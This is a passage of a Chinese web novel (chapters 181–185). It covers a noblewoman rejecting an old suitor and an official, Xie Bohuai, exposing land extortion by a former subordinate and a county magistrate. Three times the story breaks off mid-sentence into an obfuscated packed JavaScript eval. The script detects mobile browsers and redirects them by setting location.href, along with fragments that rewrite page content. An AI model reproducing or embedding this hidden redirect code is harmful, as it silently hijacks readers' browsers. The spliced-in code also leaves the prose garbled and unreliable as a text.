“殿下,谢泊淮真的也就是个普通人。”叶婉宁看了红梅一眼,赶忙和羲和公主道别。 等出了宫后,叶婉宁一颗心还没放下。 云芝都忍不住感叹,“羲和公主还真是关心您。” “我是真不知道怎么和她说。”叶婉宁感叹道。 “其实大人确实不错,从你们成婚后,除了忙一点,事事都听您的安排,对您更是体贴入微。夫人,等大人回来,您要不要……”云芝还没说完,就看到马车被牵了过来,便停住了话。 主仆上了马车,外边已经一片漆黑,折竹赶着车,警惕地一直看着四周。 叶婉宁有些累了,准备休息会时,马车却突然停下。 “折竹,怎么了?”云芝掀开帘布问,同时看到马车前突然出现的赵川,赶忙放下帘布,“夫人,是赵川。” 叶婉宁这才想到还有赵川这人,他果然阴魂不散,找了过来。 “怎么办?要不要让折竹把人打晕,丢城外去。”云芝问。 叶婉宁说不妥,“他现在是朝廷命官,若是有个三长两短,于大人名声不好。” 话音刚落,叶婉宁就听到马车外传来赵川的声音。 “谢夫人,故人重逢,你不出来见一见吗?”这一句话,赵川牙都快咬断了。 第181章 情深义重 马车里叶婉宁深吸一口气总是要做个了断但不是现在这个时候。 太迟了保不齐有什么人会看到到时候百口莫辩。 “赵大人你我之间本就算不上故人实在不用如此纠缠。”叶婉宁叹气道。 “如何不算?你当初在……”赵川还没说完听到远处有马蹄声转而道“明儿我会上门拜访你若是不见我你知道我脾性的。” 在远处的马车到来之前赵川先进了附近的小巷他还是有在顾及叶婉宁的名声。 只是叶婉宁被赵川这么一折腾心里很郁闷最开始时她就不想和赵川纠缠更别说是现在。 马车匆匆回了谢府叶婉宁眉心一直拧着。 云芝端热水来时顺带关了门“夫人折竹问要不要派人问问大人的意思。若是赵川非要纠缠您也可以用点手段把人赶出京城去。” 折竹是不懂叶婉宁之前和赵川认识但是今日的情况猜也能猜到两人之前相识。 “赵川执拗得很并不是把他赶走就能解决的。”叶婉宁叹了口气“真是让人头疼。明日等他来我让他死心吧。云芝你说他喜欢我什么呢?” 容貌吗? 可再好的容颜都有老去的时候。 偏偏赵川执拗得很一而再地纠缠。 “夫人年轻貌美世上男子大多垂涎美人的美色赵川应该就是这样。”云芝说起赵川也很烦躁。 “罢了不说了明儿个等他来吧。”叶婉宁让云芝先去休息。 一晚过去天刚蒙蒙亮时赵川就来了。 他眼眶布满了血丝明显一夜未睡。 折竹带着人到后院上前和夫人道“小的就在不远处您所有什么事招招手就行。” 叶婉宁只留下云芝等折竹走后再去看赵川“赵大人先前我就与你说过我不愿意嫁给你。我从未给你许诺也没和你有过来往和你说不上对不起你。所以请你自重一些往后互不认识 “可你当初说的是你绝对不会改嫁对亡夫情深义重为何到了谢泊淮就变了?是不是他威胁你嫁给他?”赵川都打听了京城里人都知道谢泊淮为了叶婉宁还去开棺挖坟非常喜欢叶婉宁“若是他强迫的你我就算拼尽全力也要帮你脱离苦海。” 叶婉宁说不是“我家兄长与我夫君早就认识我们也不是普通的陌生人。而且我夫君位高权重想要什么样的人都可以有何必强迫我。 赵大人,我是自愿的。 “为什么?听到叶婉宁说是自愿的,心里的防线突然崩塌,“为什么你就愿意嫁给他? “这是我的事,你只要知道,我与我夫君情深义重就好。叶婉宁冷冷地道。 远处的折竹,听到情深义重三个字,有几分惊讶。平日里夫人和大人都是客客气气,只能说是相敬如宾。其实这个距离,一般人是听不到凉亭的说话,但他耳力比较好,才能听到。 而情深义重四个字,更是一座大山,重重地压在赵川的心上。 差点脱口而出问谢泊淮哪里比他好,可话到嘴边,又说不出来了,因为谢泊淮好像处处都比他好。 论官职,谢泊淮已经是万人之上的摄政王。论长相,谢泊淮确实有几分俊朗。家财那些更不用说,如今谢泊淮权势滔天,想要多少钱都可以。 赵川哪哪都比不过。 “原来是我不懂你。赵川摇了摇头。 叶婉宁以为赵川觉得她爱慕虚荣,是为了权势嫁给谢泊淮,才会说这个话。但她不想解释了,只要能让赵川死心,随便赵川怎么想。 “赵大人,话说到这个地步,就请你忘记这段过往。如今你有了功名,可以另觅佳妇,往后好好过自己的日子。叶婉宁说得差不多了,示意云芝送客。 赵川却没动,“叶氏,如果有一天,我也位高权重,我也可以万人之上,你会高看我一眼吗? “往后,不管你是位极人臣,还是归乡种田,我都不会关心。没有什么高看不高看,你在我的人生中,并不重要,所以我也不会关注你。再说直白点,我只希望以后我们永远不见。叶婉宁把话说到最绝情,并不会赵川一点希望。 等赵川走出谢府时,失魂落魄,自嘲地大笑,随后吐出一口老血,晕死过去。 他终有一天,要比肩谢泊淮。晕过去之前,赵川心里这么想。 而此时的谢泊淮,已经和周尚书到了淮州的新田,正常来说,这个时候稻苗已经种下一段时候,但田地里空了许多,也没人在耕种。 周尚书找到一个路过的农民问,“小哥,你们这里的地都空着不种,是为什么啊? “谁种得起啊?我们这地方……你们是外乡来的吧?我劝你们别好奇,该干嘛就干嘛去。过路小哥左右看了看,似乎怕被人看到,很快就跑了。 周尚书还想找人问,但被谢泊淮拦了下来,“你问再多人,也是没用的。 “不问怎么知道为什么? “我们一看 就是外乡人,谁会信任我们?”谢泊淮不加掩饰地嘲讽,“尚书大人真是老了,许久没回乡里看看了吧?” “你!”周尚书瞪了谢泊淮一眼,“行行行,那你自己去办,我倒要看看,你怎么弄清楚!” 谢泊淮没说话,而是带着周尚书去了附近的村子里,随便进了一家院子,“你好,我们是过路的,能不能用两个铜板,和你们换点吃的?” 院子里的老妇人看到有铜板,眼睛瞬间亮了,但是很快又暗了下去,“实在不好意思,我家只有一些野菜,不值得你这两个铜板。” “没事,我们一整天没吃东西,赶路太累了,有野菜饱腹也行。”谢泊淮把铜板递了过去,老妇人犹豫片刻,还是接了过去,欢喜地说给他们煮野菜去。 青山把院子看了一圈,回来道,“一共三间房,粮仓里只有一袋谷子。” 谢泊淮“嗯”了一声,等老妇人端来一盆煮野菜,他大口吃了起来。 周尚书犹豫了一会,看谢泊淮真的像很饿的样子,才动筷子。只是野菜没加盐有,也没有油,实在是寡淡难吃,他吃了几口,转头去看谢泊淮时,谢泊淮已经吃了好些,心想这个谢 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下午谢泊淮和青山帮着这家人砍柴,又是垒墙,干了一下午的活,到了吃晚饭时,谢泊淮随口说了句,“我看你们都没下地去,这时候不应该下地伺候庄稼吗?” “哼,我们哪里有地种。原 本的地被山洪冲了,县太爷带着徭役重新挖渠开荒,我们以为遇到了好官,结果在本来就是我们自己的田地挖出来的新田,还要我们另外交税。一亩良田二两银子的税收,寻常农家哪里拿得出来?” “老头子。”老妇人示意男人别说了,怕隔墙有耳。 “干什么?这是我自己家,难道在自家还要憋着气?”大爷哼了哼,不管老妇人的提醒,继续道,“不仅原本的田地要税收才能买回来,河道两边的新田地,也要花钱买下三年的时间,并不是买了就属于我们,说是由一位姓孟的官人管。有人不满,想要拿回自己的田地,反而被打一顿。咱们平头老板姓,哪里斗得过当官的,这不,拿不出钱的,只能看着田地空在那里。” 说到这个,大爷更气了,官府宁愿田地空着,也不肯少收一点税。 而且挖渠时,每家每户都是出了人当徭役,那会儿免费使唤他们。到了最后,田挖出来了,却要他们花钱买回去种。 这时周尚书忍不住问了句,“那位姓孟的,到底什么来头,竟然有那么大的本事,能只手遮天?” “这我们哪里知道,只听说他京城里有人。肯定是有人罩着,不然哪里有这么大的本事。”大爷说到这里,也意识到自己说太多,“天色不早,早点休息吧,我们农家人没有点灯的习惯,现在油钱可不便宜。” 周尚书还想问,却被谢泊淮按住胳膊。 回到屋子里后,谢泊淮道,“再问,人家就该怀疑了。” “人家说是京城有关系。”周尚书看着谢泊淮嘲讽道。 谢泊淮没和周尚书吵,“早点睡,明天该去会会孟非池了。” 第182章 “第一个敢晾着我的人。” 谢泊淮一行第二天去往淮州城,而淮州城外的驿站里,孟非池已经带人特意来接。 “我是谢大人旧部,特意来接谢大人的,不知大人会来淮州,实在有失远迎。司砚兄弟,大人呢?孟非池往司砚身后看了看。 周尚书弹劾的折子,是秘密上奏,孟非池这里是不知道的。但后来皇上召见谢泊淮,随后谢泊淮就带人来了淮州,孟非池自己心里也有数。 这会儿来接人,面上装作不知道,实际孟非池心里清楚,想到谢泊淮是个什么样的性格,孟非池昨儿一晚都没睡,特意带着人来。 司砚倒是热情模样,“大人一早出去了,这会还没回来。你也跟过大人办事,对大人的行踪,我们这些人,哪里敢过问。 这话合情合理,孟非池并没有多想,“那我在这里等大人。对了,镇府司的兄弟们还好吧? “还是老样子,能干的继续干,不能干的,拿了银钱归家去。孟哥这些年过得不错啊,脸圆了。 “哪里,还是比不上以前和兄弟们出生入死的时候。孟非池嘿嘿笑了下,“若是可以选择,我还是愿意继续跟着大人。 司砚提醒,“大人已经不在镇府司了。 “在不在的,都一样。孟非池和司砚笑了笑,两个人说了好一会儿话,却还没看到谢泊淮归来,孟非池不由心慌,“司砚,要不要我派人出去找找? 司砚说也可以,“如果孟哥你着急见大人,也可以的。 着急吗? 孟非池不敢表现出来,又只能按捺住心情,一直等到正午过后,才看到谢泊淮和青山回来。 孟非池立马热情上前,“属下孟非池,见过大人! 谢泊淮垂眸看了眼孟非池,随后道,“起来吧,许久没见,你圆润了不少。 “不能练武,天天吃吃喝喝,少不了要胖。大人是要去哪,若是要去在淮州城歇脚,不如去我家中,让我好好招待大人。孟非池说话时只对着谢泊淮,似乎没看到周尚书一样。 他们镇府司的人都这样,眼里只有指挥使大人。 谢泊淮说了好,孟非池后背已经出了汗,带着谢泊淮一行进城去。 孟家是个三进院子,在淮州城最繁华的地段,孟非池走在一旁道,“在我离开京城时,多亏大人多给了五十两银子,我才能归乡置业,做点小买卖。但也不容易,每年还得帮县衙办着官粮的差事,这是没有钱的,只是为了平日里好做生意。不过我已经是运气很好的,有些兄弟不善经营,您给的 银钱,很快就亏了。” 镇府司的人,只要是公事受伤不能当差,谢泊淮都会给五十两银子安置费。 这笔钱,足够他们归家买田买房,过上温饱的日子。 这也是,为什么外边人说谢泊淮如何不好,镇府司那些兄弟们,都对谢泊淮十分忠心。 除了…… 谢泊淮的目光落在孟非池身上,他是没想到,他手下出来的人,会背刺他。 难道有什么隐情? 谢泊淮跟着孟非池进了正院,见到了孟非池媳妇,却没有看到孩子,孟非池解释说,“县太爷请了教书先生,我家大郎比我有能耐,能看得进去书,便送去读书了。姑娘也在县太爷府上,她和县太爷家千金玩得好,时常会过去小住。您快坐,我已经让人准备了饭菜,您一定要吃饱喝好。” 孟非池说话时,她夫人一直低着头站在一旁,好似很紧张。 谢泊淮说随意就行,“当地的县令是谁?” “姓江,名宗平。”孟非池道。 “江家人?和京城两家有关系?”周尚书坐不住了,插话问了句。 孟非池说是,“算是旁支里的人。” 京城江家,也是世家大族,之前的惠王妃就是出自江家。 一听是京城江家的人,就算是旁支,周尚书也来了兴趣。 惠王落败后,京城江家跟着低调起来,因为惠王的关系,江家被处置了许多人。现在的江家,已经和寻常世家大族比不上了。 周尚书看向谢泊淮,“那个江家,应该是非常记恨你的。” “记恨我的,又何止江家?大人不也是?”谢泊淮随口说了句,用过晚膳后,周尚书非要出去逛逛,谢泊淮让青山跟着,他自个儿则是和孟非池去了书房。 夏日的天黑得迟,这会还亮堂着。 但屋内有些昏暗,孟非池要点灯,谢泊淮没让。 “你应该知道,我为何来淮州,你有什么要和我说的吗?”谢泊淮问。 孟非池脸颊僵住,“我实在是不知道。难道淮州城里出了什么事,是需要您来处理?” “有人上折子,说淮州城里有人霸占良田,原本要租的新田,也被人强买了。你知道这个事吗?”谢泊淮问。 “强买的事,并不知道。但我知道,因为去年山洪,淮州城里需要太多修缮的地方,京城发下来的银钱并不够修水渠,这才增长徭役时间。后来新田挖好,官府象征性收一点钱,也是为了能继续修缮其他良田和城墙,但百姓们觉得官府想趁机霸占 良田,一直僵持着,导致今年很多田都没开垦种植。孟非池道。 “官府定价多少? “二百文钱。 一两银子值一千文钱,如果只是二百文钱,大部分百姓还是拿得出来。 可是谢泊淮途径的地方,有一半以上的良田没有开垦种植,就不可能是二百文钱的事。 寻常百姓家,都得倚仗当年的粮食,才能撑过一年。现在不种田,到了冬日大部分都要饿死。 所以只有一种可能,那就是百姓们种不起。 谢泊淮收回目光,“原来是这样,我没想到,淮州城会穷成这样。但修缮城墙,也不如百姓们当年的口粮重要。 “这倒也是。 谢泊淮起身道,“你带我去见江宗平,我不等明天了。 “会不会太迟了? “再迟下去,淮州城就等着人吃人吧!谢泊淮放下脸来,孟非池下意识地抖了抖,这是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170531|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇府司里形成的压迫。 不得已,孟非池带着谢泊淮去了江宗平府上。 门口的侍卫看到是孟非池,立马热情迎了过来,但孟非池和他们轻轻摇了摇头,侍卫们马上道,“您是来见我们大人吧,不巧了,我家大人今日出城去,怕是回不来。 “回不来也得回。谢泊淮拿出他的令牌,这时候周尚书也跟着青山到了,谢泊淮冷冷地看着江家侍卫,“告诉你们家大人,我只给他半个时辰的时间,若是他不来见我,这个县太爷就别当了。 侍卫不识字,却看得懂令牌是金色代表的含义,无助地去看孟非池。 谢泊淮也去看孟非池,但他没说话,而是大步进了江家。 侍卫们只好去找老爷,说来了个凶神恶煞的大人。 “我知道过了,不是让孟非池去接人么,来就来,晾着他。江宗平正躺在美妾的怀中,吃美妾喂的桃子。 “可是那位大人说,如果您半个时辰不出现,就别当县令了。 “反了他,都到老子地盘了,真以为这里是京城吗?江宗平说他不去。 而此时的正厅里,孟非池已经紧张得手心出汗,等半个时辰后,江宗平还没出现。 谢泊淮只是看了孟非池一眼,就转身进了江家内院。 “你是谁?这里可是县太爷的府宅,你怎么敢闯进来? “快停下,不然我…… 没等这个家丁说完,谢泊淮一把枪过对方手里的木棍,把人高高举起,再砸到地上,“你们家老爷在哪? 一个不说,谢泊淮再打一个。 接连着几个家丁被谢泊淮打伤,最后一个胆小的交代了在秋姨娘那里,谢泊淮让人指了方向,自个儿跑了过去。 此时的江宗平已经脱光了,正和美妾颠鸾倒凤,不知天地为何物。 “我的乖乖,快让爷亲……谁啊?” 一句话还没说完,门就被踹开了,右边的门重重摔在地上,吓得屋里的美妾大声尖叫起来。 谢泊淮手里拿着从家丁那抢来的刀,看着床上赤裸的两个人,“江宗平,你是第一个敢晾着本官的人。” 江宗平怎么也想不到,谢泊淮敢闯他内院抓人,“人呢,都是死人吗?谢大人来了,怎么都没人和我说一声?” “你知道我是谁啊?”谢泊淮冷笑。 江宗平:……完蛋,露馅了。 但他这会只能继续装下去,“您这威风,这气魄,天底下也只有镇府司的谢大人有。大人误会了,下官就是个小小的县令,哪里敢晾着您,肯定是府里的小厮乱传话,您行个方便,先出去等一会儿,下官穿好衣服就来,成吗?” “不成。”谢泊淮用刀挑开江宗平身上的被褥,“既然你有胆子晾着我,那就这样见我。” “大人,我……” “既然知道我的名声,你不跟着出来,是觉得我会对你特别手软?”说着,谢泊淮手里的刀朝江宗平的胳膊刺去,瞬间鲜血流出,疼得江宗平嗷嗷大叫,滚到了床下。 第183章 有诈 那美妾吓得晕了过去,江宗平头冒冷汗,见识到谢泊淮的可怕,当即道,“大人饶命,下官这就出来!” 谢泊淮举着刀,不准江宗平穿衣裳,就这样把人带到了前厅。 等孟非池和周尚书看到江宗平裸着的样子,周尚书老脸涨红,“成何体统!”他让人给江宗平拿衣裳,谢泊淮却不让。 “江大人说了,他就想这样和我们说话。”谢泊淮刚说完,江宗平只敢点头说是。 周尚书都不敢直视,“像什么样子?我问你,你明明在府上,却晾着我们,是你这七品的县令干腻了,还是你觉得京城有人保你?” “没有没有,绝对没有。”江宗平不认识周尚书,询问之后,直接跪下,“尚书大人,真不关下官的事。是小厮的错,他可能觉得下官今晚宿在妾室那里,不想打扰了我。” “不敢打扰?你睡个妾室就那么重要?比淮州城上万百姓的口粮都重要?”周尚书怒不可遏,现在觉得谢泊淮一点也不过分,就该江宗平光着丢人,“我问你,为何淮州城的田地空了那么多?” 江宗平的说法和孟非池一样,“百姓们不满租金,只想免费耕种。但当时为了挖渠修路,府衙与钱庄借了不少钱,想着不过二百文钱,并不算多,也在百姓们的接受之内。但他们就是不愿意,您若是不信,可以随便找人去问。” 城里百姓那么多,江宗平让周尚书随便问,好像真的不害怕。 周尚书却知道,城外的老大爷说是二两银子,和两百文钱是天差地别。 但是江宗平信誓旦旦,周尚书转头去看谢泊淮,他收到的消息,可是谢泊淮罩着孟非池。 此时孟非池站了出来,“是啊两位大人,这都是可以随便找人问的。城里那么多百姓,江大人不可能让所有人统一口径。” 周尚书问,“谢泊淮,你怎么看?” “那就等明儿。”谢泊淮道。 他起身和周尚书说要去休息,青山则是留下看着江宗平,就让江宗平这么待到天亮。 孟非池有心和江宗平说两句话,奈何青山一直看着,只能先回去。 次日一早,周尚书便出去打听,结果百姓们都说是两百文钱。 “真是两百文钱?”周尚书在茶馆里问了两个人,“如果真是两百文钱,为何那么多人不肯接受?” “别问我,我家是跑船的,并不种地。” “我捕鱼,也不兄弟。” “大爷,我也不知道,但你怎么那么好奇,你是什么人啊?我听你口 音也不像是淮州的。” 为了避免暴露,周尚书说只是随便问问,转身出了茶楼。 不过没走多远,就和乞儿对他招招手,示意他过去。 “您是外地来的吧?我不管您是什么身份,只要您给我一两银子,我就和你说点实话。”小乞儿大概十二三岁,晒得黑乎乎的,笑起来时门牙缺了半颗。 “你这小乞丐,一开口就是一两银子,我怎么知道你会不会骗我?”周尚书问。 “您若是相信了茶楼那些人,也不会过来。既然您会想听我说,便是心动了。一两银子,不二价。我可好奇您,您想找第二个和您说真话的,那就难了。”小乞儿左右看了看,催促道,“快点吧,被人看到,我可就走了。” 周尚书心疼地掏出一两银子,“快点说!” “其实啊,那些人都是惧怕孟非池,你听说过活阎王谢泊淮吧?那可是孟非池的靠山,什么二百文钱,明明是二两银子一亩地。您想想,一般老百姓,哪里来那么多银子,娶个媳妇都不用二两银子,更别说买地了。更何况那些地,本来就是百姓的。咱们做百姓的,苦得很,还没地方说。”小乞儿收好银子,准备要走,又被周尚书拉住。 “你说是孟非池?那江宗平呢,他才是父母官,他不管吗?” “江县令啊,他再厉害,也厉害不过京城里的大人啊。您问那么积极,难不成您是京城来的人?”小乞儿掰开周尚书的手指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170532|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你别管我是谁,你得和我说清楚,孟非池是怎么强卖田地的?”周尚书又抓住小乞儿。 小乞儿不乐意了,“我说你这老人家,怎么那么固执,还能怎么强卖田地,就是告示一贴,买不买随便你,但闹事的话,就直接打残废。您快松开,别让人看到了我!” 在周尚书恍惚间,小乞儿推开了他,跑得飞快。 周尚书眉头紧皱,他听说的确实是这样,可到了淮州城,他又觉得,这个事处处都有疑点。 要说谢泊淮在当孟非池靠山,那昨晚谢泊淮还那样对江宗平? 可看孟非池对谢泊淮的样子,确实十分地亲近。 周尚书想不明白,只好继续打听。 却不知,在巷子里的小乞儿,刚接过另一个人的钱,正笑嘻嘻地数钱时,就被一剑封喉,倒地而亡。 他死不瞑目,不肯闭上眼睛,杀他的人却是哼了哼,拿回给他的银子,把他装进麻袋里,丢到了城外的河里。 等周尚书回到孟家,面色极其难看,得知谢泊淮还没回来,收拾了东西,立马要走。 孟家下人劝道,“您还是等谢大人回来再说吧,你若是这么走了,小的不好交代。” “交代?你要怎么交代?”越听对方说的,周尚书越觉得奇怪。 “就是担心您的安全,您真要走,不如让我们家老爷请人护送,不然山高路远,您只带了一个随从,如何能回京城?” “回不回得去,不用你管。”周尚书态度强硬,非要和随从离开。 等谢泊淮回来时,得知周尚书走了,便知道有诈。可孟非池还盯着,他只能在天黑后,一个人独自追上去。 天黑后,城外只有微弱的月光,周尚书一把年纪,走不了多远,和随从随便找了个挡风的石头,准备将就一晚上,就听到了马蹄声。 “在那里,抓住他!谢大人说了,一定要他死!” 听到这么一句话,周尚书鸡皮疙瘩都起来了,他就知道谢泊淮不是个好的! 第184章 长进 风呼呼地吹周尚书知道自己跑不掉把自己的玉佩留给随从“待会你拼劲全力跑到了京城找到夫人让她去告御状!” “可是……” “别可是了你老爷我一把年纪了带着我跑咱们都要死!”周尚书推开随从让他快跑。 他自个儿则是往另一个方向很快被发现。 “他在那里!” 周尚书没跑两步就摔倒要不是山路难走 看着一群人拿着火把过来周尚书对着他们大声点“就算今日老夫死在这里终将有一日你们会受到报应!” “你个老不死的都要死了还说报应你去地府和阎王爷说吧!”一个刺客拔出佩剑“你要记得是你自己找死非要跟来淮州。” “谢泊淮就不怕我死了皇上要他给个交代吗?”周尚书道。 “这就不用你费心了我家大人什么样的本事你是最清楚的。就算是大人亲手杀了你皇上又能怎么样?我们大人可是一人之下的摄政王天底下就没有他怕的事!” 周尚书冷哼一声这倒是天底下就没有谢泊淮害怕的事。 他静静看着来的这十几个人知道自己必死无疑也就不害怕了。 大家看周尚书一个老头不怕他跑了首领随便对一个人道“你去把他舌头先割了免得他咒我们。” 被点到的人拔出佩剑朝着周尚书走去周尚书当即丢出手里的石头把对方额头砸出血彻底惹怒对方。 其他人纷纷笑了起来“大柱你也忒没用了竟然被一个老头戏……呃?” 说话的人低头看到自己胸口的剑震惊地瞪大眼睛。 这时其他人才看到飞奔而来的人影等人靠近有人惊呼“是谢泊淮!” 几人纷纷拔出剑但太慢了离谢泊淮最近的两个人当场被割破喉咙。 其他人冲向谢泊淮另一人则是冲着周尚书去。 谢泊淮拽住一人的胳膊甩了过去把人砸倒后跃到周尚书跟前“尚书大人你是觉得自己活够了吗?” 周尚书愣愣地看着谢泊淮再看那些人发了狠地想杀谢泊淮“这……这不是你的人吗?” “人不应该越活越精明吗?”谢泊淮嘲讽地说完拽着周尚书丢到身后的石块下他则是一对十。 谢泊淮的眼中迸发出野兽的光芒越是撕杀他越兴奋。 死了一个。 两个。 五个…… 直到对方只剩下三个人,他们才意识到打不过谢泊淮。 等他们想跑时,却太迟了,谢泊淮长剑如虹,干脆利落地解决了两个,朝着最后一个冲了过去。 “不要杀我,求求你了,我也是听命办事!这人跪在地上。 谢泊淮用剑指着对方的面门。 男人全身发抖,“我上有老下有小,真的,我也是为了一点银钱,和你无冤无仇,放我一马好不好? “不好。 谢泊淮手和嘴一样快,对着男人的面门直刺过去,男人当场暴毙! 而周尚书的“留个活口还没说出,谢泊淮已经杀光所有人,收起佩剑,转身走向周尚书。 月光下,谢泊淮脸上溅了点点血滴,他却气定神闲地看着狼狈起身的周尚书,“尚书大人,你真是越活越回去了。 周尚书听得出谢泊淮的嘲讽,但他也知道,自己很可能是被下套了。一时间,老脸通红,不过夜色掩盖下,别人也看不出来。 “舒安去了京城方向,要不要追…… “追回来?谢泊淮冷哼一声,“是你跑得动,还是我把你丢在这里去追? 谢泊淮不可能把周尚书丢在这里,不然再有人来,周尚书必死无疑。如果周尚书死了,他真要背上千古骂名。 至于舒安,他另有处置。 谢泊淮递给周尚书一个火把,也不管周尚书能不能走下山,他一路赶来,累死累活,这会可不会心疼这个臭老头。 周尚书艰难地下了山,大口喘气时,就被谢泊淮提上马背,嗅到谢泊淮身上浓厚的血腥味,当场呕吐出来。 谢泊淮却不管周尚书舒不舒服,一路疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170533|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰回淮州。 等他们到淮州城时,已经天亮了。 刚到孟家,就看到孟非池顶着黑眼圈,“你们可算是回来了,我想带人去找你们,青山兄弟就是不让,非要跟着我。大人,我是跟过您出生入死的,您让青山盯着我,您是不信任我了吗? 青山盯着孟非池一晚上没睡,这会看主子身上都是血渍,也不管孟非池说什么,焦急地问,“大人,您怎么样,怎么那么多血? “我没事,这些血都是别人的。谢泊淮说话时,周尚书已经在大口喝茶。 连着一盏茶喝下去,周尚书才好受一点。 “我……我……呕…… 孟非池问要不要请大夫,谢泊淮说死不了。 周尚书:……谢泊淮果然讨人厌! “我看还是请个大夫吧,尚书大人毕竟年纪大了,经不起折腾。”孟非池说着要去吩咐下人,却被突然出手的孟非池吓了一跳,而他也下意识地还手,“大人,您听我……” 解释两个字还没说出口,青山立马加入战斗。 青山不需要问理由,既然大人出手,说明大人有大人的原因,他只要照办就行。 “大人!”孟非池一对二招架不住,眼看着谢泊淮和青山的攻势越来越凶猛,他只好喊人帮忙。 十几个小厮冲出来,把孟非池挡在后面。 “大人,我们是不是有误会?”孟非池问。 “孟非池,有没有误会,你心知肚明!”青山替主子道。 “青山,我没和你说话。大人您听我说两句,这里毕竟是淮州,您想要我性命,也得给个理由吧。不然就算我同意被您斩杀,我的这些弟兄也会为了我报仇的。”孟非池道。 听到这话,谢泊淮冷笑出声,“不错,果然有长进了,竟然敢威胁我了。你是说,杀了你,我就出不了淮州城是吗?孟非池,你跟了我那么多年,是不是太小看我了?” 话音刚落,司砚带着一群士兵冲了进来,“大人,州尉府的黄将军到了!” 第185章 谢泊淮干不出那么蠢的事 早在来淮州前谢泊淮就另外安排了人去附近调兵。 他在镇府司那么多年可不是白当指挥使的。 原本孟非池人多 “说说吧怎么算计到我头上?”谢泊淮看着跪下的孟非池。 孟非池却一言不发这时又有人带来了江宗平还有孟非池养在江宗平府上的两个孩子。 “京城江家与惠王交好。是为了惠王的事?”谢泊淮去看江宗平。 江宗平跪在地上抖得厉害“大人下官不懂您在说什么。” “真不懂还是假不懂?你们能恐吓大部分人却还是有人说实话。”谢泊淮道。 淮州城那么大谢泊淮看着江宗平再去看孟非池时目光像在看两个死人一样。 江宗平还是不肯说谢泊淮目光停在孟非池身上“你好歹是镇府司的人就算是江宗平威胁你你也能想到办法脱身。但你却借我的名头作威作福真的只是你自己贪财吗?” “不关我的事啊!”江宗平大声道“真的不关我的事谢大人您得明察秋毫我真不知道怎么回事。” 周尚书忍不住“你作为当地父母官怎么可能不知道怎么回事?二两银子一亩地亏你想得出来。江宗平你知不知道你们这样做是会害死人的!” 一年没有收成起码饿死三成的百姓。 周尚书深吸一口气他这会还缓不过来。 江宗平浑身发抖他还是不肯认罪直到有人带来小乞儿的尸首还有其他百姓当证人孟非池才点头认下罪责。 “是是我鬼迷心窍一时没忍住诱惑。”孟非池低着头道。 “好既然你承认了所作所为那我问你谁让你打着我的名声干这些事?”谢泊淮用剑柄挑起孟非池的头让孟非池看着自己的眼睛。 “没有人是我自己想的。”孟非池道。 孟非池这一交代江宗平知道自己瞒不住立刻推卸责任“谢大人周尚书是孟非池威胁我的啊。他说他是受谢大人的命令这样做我哪里敢得罪谢大人我都是听他的你们要明鉴!” “你要是不敢得罪就不会在第一天晚上晾着我。”谢泊淮冷笑道“把他们都带到地牢去孟非池你是知道镇府司的审讯手段别逼我对你动刑不然你会生不如死。” 而此时周尚书看着小乞儿冷冰冰的尸首愤怒交加。明明昨儿还是很鲜活的一个人现在却 成了冷冰冰的尸体。 江宗平听到谢泊淮说镇府司的手段,吓得昏死过去, 孟非池则是沉默,由着人把他带到地牢审问。 司砚带着人抄家,很快找到这几年孟非池和江宗平的账册,也就有了证据, 周尚书跟着去了地牢,只是谢泊淮刚开始审讯,他就受不了吐出来。 “我劝尚书大人还是出去等着,你没见过这种场面,待会还有更可怕的。”谢泊淮不客气地道。 周尚书最终还是到地牢外等候,一个时辰里,他不断地听到江宗平和孟非池的惨叫。等谢泊淮拿着供词出来,说江宗平供出了京城的江家,孟非池则是原来的说法。 周尚书:“果然和京城的江家有关系,哎,人怎么就变成这样?” “人活着,就不可能一尘不变。”谢泊淮道,“尚书大人为官那么多年,难道还不懂这个道理?” 这几天,谢泊淮对周尚书的嘲讽很多,周尚书听了哼了一声,“谢泊淮,你这人果然惹人讨厌,一张嘴坏得很,难过没人喜欢你。” “为官者,只要能办好事就行,要人喜欢做什么?事情已经调查清楚,周尚书应该看明白了吧?”谢泊淮问。 “总的是明白了,只是有一点我不太明白,惠王早就被处决,为何京城江家还要与你作对?”周尚书现在脑子清醒了,“按理来说,他们应该当个透明人。总不能真的是为了惠王报复你?” 那有点不太可能,世家最讲究一整个家族的立足,惠王都死了,更没有翻盘的可能。既然没了翻盘,江家为何还要针对谢泊淮? 有道是君子报仇十年不晚,真要有什么深仇大恨, 